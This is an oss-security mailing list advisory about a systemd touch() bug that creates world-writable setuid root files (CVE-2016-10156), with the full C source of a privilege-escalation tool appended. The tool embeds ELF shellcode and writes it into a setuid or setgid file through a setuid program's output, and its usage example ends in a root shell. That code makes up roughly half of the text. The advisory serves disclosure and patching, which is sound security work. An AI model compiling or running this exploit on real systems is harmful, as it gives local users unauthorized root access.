Source: http://www.openwall.com/lists/oss-security/2017/01/24/4

This is a heads up for a trivial systemd local root exploit, that
was silently fixed in the upstream git as:

commit 06eeacb6fe029804f296b065b3ce91e796e1cd0e
Author: ....
Date:   Fri Jan 29 23:36:08 2016 +0200

    basic: fix touch() creating files with 07777 mode
    
    mode_t is unsigned, so MODE_INVALID < 0 can never be true.
    
    This fixes a possible DoS where any user could fill /run by writing to
    a world-writable /run/systemd/show-status.

The analysis says that is a "possible DoS", but its a local root
exploit indeed. Mode 07777 also contains the suid bit, so files
created by touch() are world writable suids, root owned. Such
as /var/lib/systemd/timers/stamp-fstrim.timer thats found on a non-nosuid mount.

This is trivially exploited by something like:

http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c

with minimal changes, so I wont provide a PoC here.

The bug was possibly introduced via:

commit ee735086f8670be1591fa9593e80dd60163a7a2f
Author: ...
Date:   Wed Nov 11 22:54:56 2015 +0100

    util-lib: use MODE_INVALID as invalid value for mode_t everywhere


So we believe that this mostly affects v228 of systemd, but its recommended
that distributors cross-check their systemd versions for vulnerable
touch_*() functions. We requested
a CVE for this issue from MITRE by ourselfs: CVE-2016-10156

We would like to see that systemd upstream retrieves CVE's themself
for their own bugs, even if its believed that its just a local DoS.
This would make distributors life much easier when we read the git logs
to spot potential issues. The systemd git log is really huge, with
lots of commits each week ("new services as a service").

Sebastian




// Source: http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c

/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}